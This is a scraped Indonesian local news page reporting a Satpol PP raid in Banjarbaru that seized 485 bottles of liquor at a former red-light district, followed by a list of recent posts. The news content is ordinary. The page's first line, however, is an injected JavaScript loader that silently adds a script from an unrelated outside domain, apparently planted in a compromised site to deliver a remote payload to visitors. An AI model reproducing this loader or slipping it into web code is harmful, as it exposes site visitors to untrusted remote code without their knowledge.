(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

485 Botol Miras Berbagai Merk Disita Satpol PP di Eks Lokalisasi Pembatuan


BANJARBARU, Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali mengamankan Miras berbagai merk dengan Jumlah 485 botol yang berada di Lokalisasi Eks Pembatuan, Senin (10/12) sekitar pukul 15.45 Wita.

Situasi menjadi ricuh, saat preman di bekas lokalisasi Pembatuan menghalangi pengambilan barang bukti miras berbagai merk. Beruntung Operasi Gabungan dengan TNI dan polri sedikit meredam para preman.

Memang sudah bukan menjadi rahasia, eks lokalisasi Pembantuan yang dulunya menjadi sarang maksiat tersebut masih tercium aktivitas di dalamnya. Terbukti, patroli yang dilakukan petugas berwenang masih saja menemukan wanita-wanita penghibur yang masih melayani para pria hidung belang.

Tidak hanya itu pada awal bulan September lalu, tim gabungan Satpol PP, Polisi dan TNI berhasil menemukan dan menyita 1.613 botol miras yang disembunyikan di dalam rumah warga di Jalan Kenanga RT 09 RW 08 Landasan Ulin Timur. Pada kasus tersebut pihak berwajib menangkap 2 wanita yang saat dilakukan penggerebakan berada di lokasi kejadian. Namun sayangnya, saat itu belum diketahui pemilik sebenarnya ribuan botol miras tersebut.

Kali ini, Satpol PP Banjarbaru yang melakilan razia di wilayah eks lokalisasi tersebut tepatnya di sebuah toko di Gang Empat. Alhasil dari razia tersebut, petugas mendapati 485 botol miras berbagai merek seperti Anggur Bir, Mansion, Vodka dan lain-lain.

Petugas yang langsung melakukan penyitaan dipaksa bertahan, pasalnya sejumlah preman yang berada di wilayah tersebut menghalangi jalannya operasi.

Kasatpol PP Banjarbaru Marhaen mengatakan hal tersebut dikarenakan pemilik ratusan miras ini merupakan salah satu bos di wilayah tersebut. Ia juga menambahkan situasi mulai kondusif saat dilakukan mediasi oleh pihaknya. “Ratusam miras ini milik salah satu bos di eks lokalisasi pembatuan ini. Memang tadi sempat mencekam situasinya, tapi saat kita berikan pemahaman secara baik-baik mereka akhirnya mau nurut,” ujarnya

Selain itu, untuk kepemilikan miras tersebut Satpol PP masih melakukan pemeriksaan dan meminta keterangan dua penjaga toko untuk proses lebih lanjut. (rico)

Reporter:Rico
Editor:Cell

Desy Arfianty

Recent Posts

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

3 jam ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

5 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

6 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

6 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

8 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

8 jam ago

This website uses cookies.